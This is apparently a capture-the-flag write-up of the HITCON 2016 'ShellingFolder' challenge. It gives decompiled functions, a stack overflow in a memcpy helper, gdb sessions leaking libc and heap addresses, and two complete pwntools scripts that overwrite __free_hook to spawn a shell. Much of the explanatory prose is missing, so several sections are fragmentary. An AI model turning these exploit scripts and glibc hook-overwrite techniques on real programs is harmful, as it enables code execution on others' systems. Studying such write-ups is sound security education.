

ShellingFolder[KR]

Unknown macro: 'html'

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Unknown macro: 'html'

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Infomation

Description

This is a magic folder.
nc 52.69.237.212 4869

[shellingfolder](#)
[libc.so.6](#)

Related file

File list

- [shellingfolder_42848afa70a13434679fac53a471239255753260](#)
- [libc.so.6_375198810bb39e6593a968fcbcf6556789026743](#)

Source Code

Source code

Write up

File information

File information

```
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ file shellingfolder_42848afa70a13434679fac53a471239255753260
shellingfolder_42848afa70a13434679fac53a471239255753260: ELF 64-bit LSB shared object, x86-64, version 1
(SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]
=011a2a4e3b9edc0ee9b08578c62ca76dec45ef64, stripped
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$ checksec.sh --file
shellingfolder_42848afa70a13434679fac53a471239255753260
RELRO           STACK CANARY      NX            PIE            RPATH          RUNPATH        FILE
Full RELRO      Canary found   NX enabled    PIE enabled    No RPATH       No RUNPATH
shellingfolder_42848afa70a13434679fac53a471239255753260
autolycos@ubuntu:~/CTF/HITCON2016/shellingfolder$
```

Binary analysis

- .
 - 1. .
 - 2.
 - 3.
 - 4.
 - 5. .
 - 6.
 - 7.

./shellingfolder

```
*****
        ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:
```

Main

- main() .
 - PrintMenu() Menu .
 - InputNumber() Menu .
- "rootFolder" .

struct FileInfo

```
struct FileInfo{
    struct FileInfo *list[10];
    struct FileInfo *parentFolder;
    char docName[32];
    long size;
    int fileType;
}
```

main()

```
void __fastcall main(__int64 a1, char **a2, char **a3)
{
    __int64 v3; // rax
    unsigned int savedregs; // [rsp+10h] [rbp+0h]

    setSIGALM();
    v3 = (__int64)calloc(1uLL, 0x88uLL);
    rootFolder = (struct FileInfo *)v3;
    v3 += 88LL;
    *(_DWORD *)v3 = 'toor';
    *(_BYTE *)(v3 + 4) = 0;
    rootFolder->parentFolder = rootFolder;
    rootFolder->fileType = 1;
    gFolder = rootFolder;
    while ( 1 )
    {
        PrintMenu();
        InputNumber();
        switch ( (unsigned int)&savedregs )
        {
            case 1u:
                ListFloder(gFolder);
                break;
            case 2u:
                ChangeFolder(gFolder);
                break;
            case 3u:
                MakeFolder(gFolder);
                break;
            case 4u:
                CreateFile(gFolder);
                break;
            case 5u:
                Remove(gFolder);
                break;
            case 6u:
                Caculate(gFolder);
                break;
            case 7u:
                puts("bye bye");
                exit(0);
                return;
            default:
                puts("Invalid choice");
                break;
        }
    }
}
```

List the current folder

- .
 - "gFolder" list[] .

ListFloder

```
unsigned __int64 __fastcall ListFloder(FileInfo *folder)
{
    signed int i; // [rsp+18h] [rbp-38h]
    unsigned __int64 v3; // [rsp+48h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    if ( !folder )
        exit(1);
    puts("-----");
    for ( i = 0; i <= 9; ++i )
    {
        if ( folder->list[i] )
        {
            if ( folder->list[i]->fileType )
                printf("\x1B[32m%s\x1B[0m\n", folder->list[i]->docName);
            else
                puts(folder->list[i]->docName);
        }
    }
    puts("-----");
    return __readfsqword(0x28u) ^ v3;
}
```

Change the current folder

- .
 - "gFolder" .
 - .
 - ".." "gFolder" parentFolder "gFolder" .
 - ".." "gFolder" list[] .
 - (list[i]) "gFolder" .
 - "No such Folder" .

ChangeFolder

```
signed __int64 __fastcall ChangeFolder(FileInfo *folder)
{
    signed int i; // [rsp+1Ch] [rbp-34h]
    char folderName[40]; // [rsp+20h] [rbp-30h]
    unsigned __int64 v4; // [rsp+48h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    if ( !folder )
        exit(-1);
    printf("Choose a Folder :");
    InputName(folderName, 31);
    if ( !strcmp(folderName, "..") )
    {
        gFolder = folder->parentFolder;
        puts("successful");
    }
    else
    {
        for ( i = 0; i <= 9; ++i )
        {
            if ( folder->list[i] && folder->list[i]->fileType == 1 && !strcmp(folder->list[i]->docName, folderName) )
            {
                gFolder = folder->list[i];
                puts("successful");
                return 1LL;
            }
        }
        puts("No such Folder");
    }
    return 0LL;
}
```

Make a folder

- .
 - calloc() FileInfo .
 - InputName() .
 - .
 - newFolderfileType = 1()
 - newFolderparentFolder = folder()
 - newFoldersize = 0
 - checkEmptyList() list[] .

MakeFolder()

```
int __fastcall MakeFolder(struct FileInfo *folder)
{
    int result; // eax
    FileInfo *newFolder; // [rsp+18h] [rbp-8h]

    if ( !folder )
        exit(1);
    newFolder = (FileInfo *)calloc(1uLL, 0x88uLL);
    if ( !newFolder )
    {
        puts("Malloc error!!");
        exit(-1);
    }
    printf("Name of Folder:", 136LL);
    InputName((unsigned __int8 *)newFolder->docName, 31);
    newFolder->fileType = 1;
    newFolder->parentFolder = folder;
    newFolder->size = 0LL;
    if ( (unsigned int)checkEmptyList(folder, newFolder) == 1 )
        result = puts("successful");
    else
        result = puts("Failed");
    return result;
}
```

Create a file in current folder

- .
 - MakeFolder() .
 - MakeFolder() .
 - newFilefileType = 0()
 - newFileSize =

CreateFile()

```
int __fastcall CreateFile(FileInfo *folder)
{
    int result; // eax
    FileInfo *newFile; // [rsp+18h] [rbp-8h]

    if ( !folder )
        exit(1);
    newFile = (FileInfo *)calloc(1uLL, 0x88uLL);
    if ( !newFile )
    {
        puts("Malloc error!!");
        exit(-1);
    }
    printf("Name of File:", 136LL);
    InputName((unsigned __int8 *)newFile->docName, 31);
    newFile->fileType = 0;
    newFile->parentFolder = folder;
    printf("Size of File:", 31LL);
    newFile->size = InputNumber();
    if ( (unsigned int)checkEmptyList((__int64)folder, (__int64)newFile) == 1 )
        result = puts("successful");
    else
        result = puts("Failed");
    return result;
}
```

Remove a folder or a file

- .

- , .
- "gFolder" list[] docName .
 - FreeFolder() .
 - list[] 0 .

Remove()

```
signed __int64 __fastcall Remove(FileInfo *folder)
{
    signed int i; // [rsp+1Ch] [rbp-34h]
    char fileName[40]; // [rsp+20h] [rbp-30h]
    unsigned __int64 v4; // [rsp+48h] [rbp-8h]

    v4 = __readfsqword(0x28u);
    if ( !folder )
        exit(-1);
    printf("Choose a Folder or file :");
    InputName(fileName, 31);
    for ( i = 0; i <= 9; ++i )
    {
        if ( folder->list[i] && !strcmp(folder->list[i]->docName, fileName) )
        {
            FreeFolder(folder->list[i], fileName);
            folder->list[i] = 0LL;
            return 1LL;
        }
    }
    puts("No such Folder");
    return 0LL;
}
```

FreeFolder

- .
 - , type .
 - FreeFolder() .
 - free() .
 - free() .

FreeFolder()

```
void __fastcall FreeFolder(FileInfo *delFolder, char *fileName)
{
    signed int i; // [rsp+1Ch] [rbp-4h]

    if ( delFolder )
    {
        if ( delFolder->fileType )
        {
            for ( i = 0; i <= 9; ++i )
            {
                if ( delFolder->list[i] )
                    FreeFolder(delFolder->list[i], fileName);
            }
            free(delFolder);
        }
        else
        {
            free(delFolder);
        }
    }
}
```

Calculate the size of folder

- .
 - "isDocName" 0 .
 - "gFolder" size ptrSize .(ptrSize = &folder->size;)

- callMemcpy() folderlist[count]docName isDocName .
- "gFolder" list[] type .
 - type (1) *ptrSize *ptrSize .
 - type (0) *ptrSize size .
- callMemcpy() .(Stack overflow)
 - "isDocName" 24byte .
 - "folderlist[count]docName" 32 byte .
 - , "folderlist[count]docName" Stack (*ptrSize) .
- "isDocName" *ptrSize Heap .

Caculate()

```
unsigned __int64 __fastcall Caculate(FileInfo *folder)
{
    char isDocName[24]; // [rsp+10h] [rbp-30h]
    __int64 *ptrSize; // [rsp+28h] [rbp-18h]
    int count; // [rsp+30h] [rbp-10h]
    unsigned __int64 v5; // [rsp+38h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    if ( !folder )
        exit(1);
    count = 0;
    memset(isDocName, 0, 32uLL);
    while ( count <= 9 )
    {
        if ( folder->list[count] )
        {
            ptrSize = &folder->size;
            callMemcpy(isDocName, folder->list[count]->docName);
            if ( folder->list[count]->fileType == 1 )
            {
                *ptrSize = *ptrSize;
            }
            else
            {
                printf("%s : size %ld\n", isDocName, folder->list[count]->size);
                *ptrSize += folder->list[count]->size;
            }
        }
        ++count;
    }
    printf("The size of the folder is %ld\n", folder->size);
    return __readfsqword(0x28u) ^ v5;
}
```

callMemcpy

- .
 - heap .
 - memcpy() stack heap .

CopyMem

```
void *__fastcall callMemcpy(void *stack, const char *heap)
{
    size_t len; // ST28_8

    len = strlen(heap);
    return memcpy(stack, heap, len);
}
```

Debugging

- Break point .
 - Caculate() call memset : Base address + 0x1378
 - callMemcpy() call memcpy : Base address + 0x1331

Break point

```
lazenca0x0@ubuntu:~/CTF/HITCON/ShellingFolder$ gdb -q ./shell*
Reading symbols from ./shellingfolder_42848afa70a13434679fac53a471239255753260...(no debugging symbols found)...
done.
gdb-peda$ handle SIGALRM nopass
Signal      Stop      Print     Pass to program      Description
SIGALRM     No        Yes       No                    Alarm clock
gdb-peda$ b *0x555555554000 + 0x1378
Breakpoint 1 at 0x555555555378
gdb-peda$ b *0x555555554000 + 0x13A5
Breakpoint 2 at 0x555555555378
gdb-peda$ b *0x555555554000 + 0x1331
Breakpoint 3 at 0x555555555331
gdb-peda$
```

- **Overflow** .
 - "4.Create a file in current folder" "Name of File:" "A * 24 + B * 7" .
 - "Calculate the size of folder" .
- **"isDocName[24]"** .
 - memset() "isDocName[24]" 0 .
 - "ptrSize"(0x7fffffffe138) "&foldersize"(0x555555757088) .

Memset

```
gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder
/shellingfolder_42848afa70a13434679fac53a471239255753260
*****
      ShellingFolder
*****
  1.List the current folder
  2.Change the current folder
  3.Make a folder
  4.Create a file in current folder
  5.Remove a folder or a file
  6.Caculate the size of folder
  7.Exit
*****
Your choice:4
Name of File:AAAAAAAAAAAAAAAAAAAAAABBBBBBBB
Size of File:successful
*****
      ShellingFolder
*****
  1.List the current folder
  2.Change the current folder
  3.Make a folder
  4.Create a file in current folder
  5.Remove a folder or a file
  6.Caculate the size of folder
  7.Exit
*****
Your choice:6
Breakpoint 1, 0x0000555555555378 in ?? ()
gdb-peda$ i r rdi
rdi                0x7fffffff120          0x7fffffff120
gdb-peda$ x/6gx 0x7fffffff120
0x7fffffff120:      0x0000555555555820          0x00000006f7a7c7fa
0x7fffffff130:      0x00000000000000a36          0x00007fffffff150
0x7fffffff140:      0x0000555500000000          0x06a271d09477ed00
gdb-peda$ ni
0x000055555555537d in ?? ()
gdb-peda$ x/6gx 0x7fffffff120
0x7fffffff120:      0x0000000000000000          0x0000000000000000
0x7fffffff130:      0x0000000000000000          0x0000000000000000
0x7fffffff140:      0x0000555500000000          0x06a271d09477ed00
gdb-peda$ c
Continuing.
Breakpoint 2, 0x00005555555553a5 in ?? ()
gdb-peda$ x/6gx 0x7fffffff120
0x7fffffff120:      0x0000000000000000          0x0000000000000000
0x7fffffff130:      0x0000000000000000          0x0000555555757088
0x7fffffff140:      0x0000555500000000          0x06a271d09477ed00
gdb-peda$
```

- **Stack overflow** .
 - `callMemcopy()` `memcpy()` "ptrSize"(0x7ffffffe138) .
 - 0x555555757088 0x0042424242424242
 - , `ptrSize` .

Stack Overflow

```
gdb-peda$ c
Continuing.

Breakpoint 3, 0x0000555555555331 in ?? ()
gdb-peda$ x/6gx 0x7fffffff120
0x7fffffff120:      0x4141414141414141      0x4141414141414141
0x7fffffff130:      0x4141414141414141      0x0042424242424242
0x7fffffff140:      0x0000555500000000      0x06a271d09477ed00
gdb-peda$
```

Structure of Exploit code

- Payload .

Payload

1. Leak Libc Base
2. Leak Heap Address
3. offset
4. Overflow
5. Shell

- .

1. LeakLibcBase
 - a. "Remove a folder or a file"
 - b. "Create a file in current folder"
 - c. "List the current folder"
2. Leak Heap Address
3. offset
 - a. System()
 - b. "/bin/sh" execve()
4. Overflow
 - a. Overflow (__free_hook)
 - b. Overflow
5. Shell

- payload .

- Leak libc address
- system offset
- Overflow

Information for attack

Leak Libc address

- Libc address .
 - 2 1 .
 - 2 Heap Libc address .
 - "rootFolder" list[1] .

Default Settings

```

gdb-peda$ r
Starting program: /home/lazenca0x0/CTF/HITCON/ShellingFolder
/shellingfolder_42848afa70a13434679fac53a471239255753260
*****
      ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:3
Breakpoint 2, 0x000055555555501f in ?? ()
gdb-peda$ i r rax
rax                0x5555557570a0    0x5555557570a0
gdb-peda$ c
Continuing.
Name of Folder:AAAA
successful
*****
      ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:3
Breakpoint 2, 0x000055555555501f in ?? ()
gdb-peda$ i r rax
rax                0x555555757130    0x555555757130
gdb-peda$ c
Continuing.
Name of Folder:BBBB
successful
*****
      ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:4
Name of File:CCCCCCCCCCCCCCCCCCCCCD
Size of File:64
successful
*****
      ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:

```

- **Heap Libc address .**
 - Libc address main_arena top .
 - unsorted bin fd, bk .
 - bk "rootFolder"list[1] .
 - "rootFolder"list[1] 0x5555557570e0 .
 - bk(0x555555757138) - 0x58 = 0x5555557570e0
 - "rootFolder"list[1] 0x40(64) .
 - 0x5555557570e0 - "rootFolder"list[1] (0x00005555557570a0) = 0x40(64)

Create Libc address

```

Your choice:5
Choose a Folder or file :BBBB
Breakpoint 1, 0x0000555555554e11 in ?? ()
gdb-peda$ x/12gx 0x555555757130
0x555555757130:      0x0000000000000000      0x0000000000000000
0x555555757140:      0x0000000000000000      0x0000000000000000
0x555555757150:      0x0000000000000000      0x0000000000000000
0x555555757160:      0x0000000000000000      0x0000000000000000
0x555555757170:      0x0000000000000000      0x0000000000000000
0x555555757180:      0x0000555555757010      0x0000000004242424
gdb-peda$ ni
0x0000555555554e16 in ?? ()
gdb-peda$ x/12gx 0x555555757130
0x555555757130:      0x00007ffff7dd1b78      0x00007ffff7dd1b78
0x555555757140:      0x0000000000000000      0x0000000000000000
0x555555757150:      0x0000000000000000      0x0000000000000000
0x555555757160:      0x0000000000000000      0x0000000000000000
0x555555757170:      0x0000000000000000      0x0000000000000000
0x555555757180:      0x0000555555757010      0x0000000004242424
gdb-peda$ x/gx 0x555555757010
0x555555757010:      0x00005555557570a0
gdb-peda$ x/gx 0x00005555557570a0 + 0x58
0x5555557570f8:      0x0000000041414141
gdb-peda$ x/20gx 0x00005555557570a0
0x5555557570a0:      0x0000000000000000      0x0000000000000000
0x5555557570b0:      0x0000000000000000      0x0000000000000000
0x5555557570c0:      0x0000000000000000      0x0000000000000000
0x5555557570d0:      0x0000000000000000      0x0000000000000000
0x5555557570e0:      0x0000000000000000      0x0000000000000000
0x5555557570f0:      0x0000555555757010      0x0000000041414141
0x555555757100:      0x0000000000000000      0x0000000000000000
0x555555757110:      0x0000000000000000      0x0000000000000000
0x555555757120:      0x0000000000000001      0x0000000000000091
0x555555757130:      0x00007ffff7dd1b78      0x00007ffff7dd1b78
gdb-peda$ p/x 0x555555757138 - 0x58
$3 = 0x5555557570e0
gdb-peda$ p/x 0x5555557570e0 - 0x5555557570a0
$4 = 0x40
gdb-peda$ p/d 0x40
$5 = 64

```

- **"rootFolder" .**
 - "ptrSize" 1byte .
 - , "rootFolder" .
 - 'D' 0x10
 - Ex) "C" * 24 + 0x10 : 0x0000555555757088 0x0000555555757044

Stack Overflow

```
gdb-peda$ c
Continuing.
*****
      ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:6
Breakpoint 3, 0x0000555555555331 in ?? ()
gdb-peda$ x/6gx 0x7fffffff120
0x7fffffff120:      0x0000000041414141      0x0000000000000000
0x7fffffff130:      0x0000000000000000      0x000055555555757088
0x7fffffff140:      0x0000555500000000      0x6ad1e428fbe39100
gdb-peda$ c
Continuing.
Breakpoint 3, 0x0000555555555331 in ?? ()
gdb-peda$ x/6gx 0x7fffffff120
0x7fffffff120:      0x4343434343434343      0x4343434343434343
0x7fffffff130:      0x4343434343434343      0x000055555555757044
0x7fffffff140:      0x0000555500000002      0x6ad1e428fbe39100
gdb-peda$ set *0x7fffffff138 = 0x55757010
gdb-peda$ x/6gx 0x7fffffff120
0x7fffffff120:      0x4343434343434343      0x4343434343434343
0x7fffffff130:      0x4343434343434343      0x000055555555757010
0x7fffffff140:      0x0000555500000002      0x6ad1e428fbe39100
gdb-peda$ x/4gx 0x000055555555757010
0x555555757010:      0x0000555555557570a0      0x0000000000000000
0x555555757020:      0x0000555555557571c0      0x0000000000000000
gdb-peda$
```

- size "rootFolder" list[1] .
 - Stack overflow ptrSize "rootFolder"list[1] .(0x555555757010)
 - size(0x40) "rootFolder"list[1] .
 - 0x555555757010: 0x00005555557570a0 +x040 = 0x5555557570e0
 - free chunk bk(0x5555557570e0 + 0x58) .

Change the value of "rootFolderlist[1]"

```
Breakpoint 4, 0x000055555555543e in ?? ()
gdb-peda$ i r rax
rax      0x555555757010      0x555555757010
gdb-peda$ i r rdx
rdx      0x5555557570e0      0x5555557570e0
gdb-peda$ x/gx 0x5555557570e0 + 0x58
0x555555757138:      0x00007fff7dd1b78
gdb-peda$
```

- Libc address .
 - Libc address : x??(0x7fff7dd1b78)

Leak libc address

```
gdb-peda$ c
Continuing.
The size of the folder is 0
*****
        ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:1
-----
x??
CCCCCCCCCCCCCCCCCCCCCD
-----
*****
        ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:
```

• .

Leak libc address

```
from pwn import *

PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260"

def Functions(number,name,size):
    p.sendlineafter(":",str(number))
    if (number != 1 or number != 6):
        p.sendlineafter(":",name)
    if number == 4:
        p.sendlineafter(":",str(size))

p = process(PWN_FILE)

Functions(3,"AAAA",0)
Functions(3,"BBBB",0)
Functions(4,"C"*24+p8(0x10),64)
Functions(5,"BBBB",0)
Functions(6,"",0)
Functions(1,"",0)

p.recvuntil("-----\n")
libcAddr = u64(p.recv(6).ljust(8,"\x00"))
log.info("Libc Address : " + hex(libcAddr))
```

python Exploit.py

```
autolycos@ubuntu:~/CTF/HITCON2016/Shellingfolder$ python Exploit.py
[+] Starting local process './shellingfolder_42848afa70a13434679fac53a471239255753260': Done
[*] Libc Address : 0x7f108925f7b8
[*] Stopped program './shellingfolder_42848afa70a13434679fac53a471239255753260'
```

Leak Heap Address

- **Heap Address**
 - "Create a file in current folder" 24.
 - "Caculate the size of folder" *ptrSize Heap Address.
 - "isDocName" *ptrSize.

Leak Heap address

```
Starting program: /home/autolycos/CTF/HITCON2016/Shellingfolder
/shellingfolder_42848afa70a13434679fac53a471239255753260
*****
      ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:4
Name of File:AAAAAAAAAAAAAAAAAAAAA
Size of File:0
successful
*****
      ShellingFolder
*****
1.List the current folder
2.Change the current folder
3.Make a folder
4.Create a file in current folder
5.Remove a folder or a file
6.Caculate the size of folder
7.Exit
*****
Your choice:6

Breakpoint 1, 0x000055555555540a in ?? ()
(gdb) i r rax
rax          0x7fffffffelb0          140737488347568
(gdb) x/4gx 0x7fffffffelb0
0x7fffffffelb0:      0x4141414141414141      0x4141414141414141
0x7fffffffelc0:      0x4141414141414141      0x00005555555757088
(gdb)
```

- .

Leak Heap Address

```
...
Functions(4,"Z"*24,0)      #Create File
Functions(6,"",0)          #Calc
p.recvuntil("Z"*24)
heapAddr = u64(p.recv(6).ljust(8,"\x00"))
Functions(5,"Z"*24,0)
...
```

Find target to overwrite

- - `__malloc_hook`
 - `__realloc_hook`
 - `__free_hook`
- `"__free_hook"` .

Memory Allocation Hooks

- GNU C hook malloc,realloc free .
 - hook, , .
 - hook 'malloc.h' .

<code>__malloc_hook</code>	<code>malloc</code> . <code>malloc</code> .	<code>void *function (size_t size, const void *caller)</code>
<code>__realloc_hook</code>	<code>realloc</code> . <code>realloc</code> .	<code>void *function (void *ptr, size_t size, const void *caller)</code>
<code>__free_hook</code>	<code>free</code> . <code>free</code> .	<code>void function (void *ptr, const void *caller)</code>

Offset(execve("/bin/sh"))

- `system() "sh"` .
 - `system() execve("/bin/sh")` .

glibc-2.24/sysdeps/posix/system.c

```
#define SHELL_PATH "/bin/sh" /* Path of the shell. */
#define SHELL_NAME "sh" /* Name to give it. */

...

if (pid == (pid_t) 0)
{
    /* Child side. */
    const char *new_argv[4];
    new_argv[0] = SHELL_NAME;
    new_argv[1] = "-c";
    new_argv[2] = line;
    new_argv[3] = NULL;

    /* Restore the signals. */
    (void) __sigaction (SIGINT, &intr, (struct sigaction *) NULL);
    (void) __sigaction (SIGQUIT, &quit, (struct sigaction *) NULL);
    (void) __sigprocmask (SIG_SETMASK, &omask, (sigset_t *) NULL);
    INIT_LOCK ();

    /* Exec the shell. */
    (void) __execve (SHELL_PATH, (char *const *) new_argv, __environ);
    _exit (127);
}

...
```

- offset 0x4647c .

Libc

```
.text:000000000004647C      mov     rax, cs:environ_ptr_0
.text:0000000000046483      lea     rdi, aBinSh ; "/bin/sh"
.text:000000000004648A      lea     rsi, [rsp+188h+var_158]
.text:000000000004648F      mov     cs:dword_3C06C0, 0
.text:0000000000046499      mov     cs:dword_3C06D0, 0
.text:00000000000464A3      mov     rdx, [rax]
.text:00000000000464A6      call    execve
```

Exploit Code

system("sh;")

Exploit.py

```
from pwn import *
#context.log_level = 'debug'

PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260"
LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6"

def List():
    p.recvuntil('Your choice:')
    p.sendline('1')

def CreateDir(name):
    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('Name of Folder:')
    p.sendline(name)
```

```

def CreateFile(name,size):
    p.recvuntil('Your choice:')
    p.sendline('4')
    p.recvuntil('Name of File:')
    p.send(name)
    p.recvuntil('Size of File:')
    p.sendline(str(size))

def Calc():
    p.recvuntil('Your choice:')
    p.sendline('6')

def Remove(name):
    p.recvuntil('Your choice:')
    p.sendline('5')
    p.recvuntil('Choose a Folder or file :')
    p.sendline(name)

p = process(PWN_FILE)
libc = ELF(LIBC_FILE)

#Leak Heap address
CreateFile("Z"*24,0)
Calc()
p.recvuntil("Z"*24)
heapAddr = u64(p.recv(6).ljust(8,"\x00"))
Remove("Z"*24)

#Leak Libc address
CreateDir("AAAA")
CreateDir("BBBB")
CreateFile("C"*24+p8(0x10),64)
Remove("BBBB")
Calc()
List()

#Print Libc address
p.recvuntil("-----\n")
libcAddr = u64(p.recv(6).ljust(8,"\x00"))
libc.address += libcAddr - 0x3c4b78
systemAddr = libc.symbols['system']
freeHook = libc.symbols['__free_hook']

log.info("Heap Address : " + hex(heapAddr))
log.info("Libc Address : " + hex(libcAddr))
log.info("System() : " + hex(systemAddr))
log.info("__free_hook() : " + hex(freeHook))

#Overflow freeHook -> systemAddr
CreateFile("D"*24+p64(freeHook)[:7], (systemAddr & 0xffffffff))
CreateFile("E"*24+p64(freeHook+4)[:7], (systemAddr & 0xffffffff00000000)>>32)

#Overflow "GetSh->list[1]" -> "sh;"
CreateFile("F"*24+p64(heapAddr+0x2e8)[:7:],0x3b6873)
CreateFile("GetSh",0)
Calc()

#system(sh;)
Remove("GetSh")

p.interactive()

```

system() execve("/bin/sh")

Exploit.py

```

from pwn import *
#context.log_level = 'debug'

```

```

PWN_FILE = "./shellingfolder_42848afa70a13434679fac53a471239255753260"
LIBC_FILE = "/lib/x86_64-linux-gnu/libc.so.6"

def List():
    p.recvuntil('Your choice:')
    p.sendline('1')

def CreateDir(name):
    p.recvuntil('Your choice:')
    p.sendline('3')
    p.recvuntil('Name of Folder:')
    p.sendline(name)

def CreateFile(name,size):
    p.recvuntil('Your choice:')
    p.sendline('4')
    p.recvuntil('Name of File:')
    p.send(name)
    p.recvuntil('Size of File:')
    p.sendline(str(size))

def Calc():
    p.recvuntil('Your choice:')
    p.sendline('6')

def Remove(name):
    p.recvuntil('Your choice:')
    p.sendline('5')
    p.recvuntil('Choose a Folder or file :')
    p.sendline(name)

p = process(PWN_FILE)
libc = ELF(LIBC_FILE)

#Leak Heap address
CreateFile("Z"*24,0)          #Create File
Calc()
p.recvuntil("Z"*24)
heapAddr = u64(p.recv(6).ljust(8,"\x00"))
Remove("Z"*24)

#Leak Libc address
CreateDir("AAAA")
CreateDir("BBBB")
CreateFile("C"*24+p8(0x10),64)
Remove("BBBB")
Calc()
List()

p.recvuntil("-----\n")

#Print Libc address
libcAddr = u64(p.recv(6).ljust(8,"\x00"))
libc.address += libcAddr - 0x3c4b78
systemAddr = libc.symbols['system']
freeHook = libc.symbols['__free_hook']
execve = libc.address + 0x4647c

log.info("Heap Address : " + hex(heapAddr))
log.info("Libc Address : " + hex(libcAddr))
log.info("execve('/bin/sh') : " + hex(execve))
log.info("__free_hook() : " + hex(freeHook))

#Overflow freeHook -> systemAddr
CreateFile("D"*24+p64(freeHook)[:7], (execve & 0xffffffff)) #Create File
CreateFile("E"*24+p64(freeHook+4)[:7], (execve & 0xfffffffff00000000)>>32) #Create File
Calc()

#execve("/bin/sh")
Remove("D"*24+p64(freeHook)[:7])

```

```
p.interactive()
```

Flag

Flag	hitcon{Sh3llingF0ld3r_Sh3rr1nf0rd_Pl4y_w17h_4_S1mpl3_D4t4_Ori3nt3d_Pr0gr4mm1n7}
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Related Site

- <http://blog.dazzepppp.cn/2016/11/12/HITCON-CTF-2016-ShellingFolder/>
- <http://bruce30262.logdown.com/posts/976496-hitcon-ctf-2016-quals-shelling-folder>
- <https://github.com/ret2libc/ctfs/tree/master/hitcon2016quals/shellingfolder>
- https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html
- <http://database.sarang.net/study/glibc/3.htm>



Unknown macro: 'html'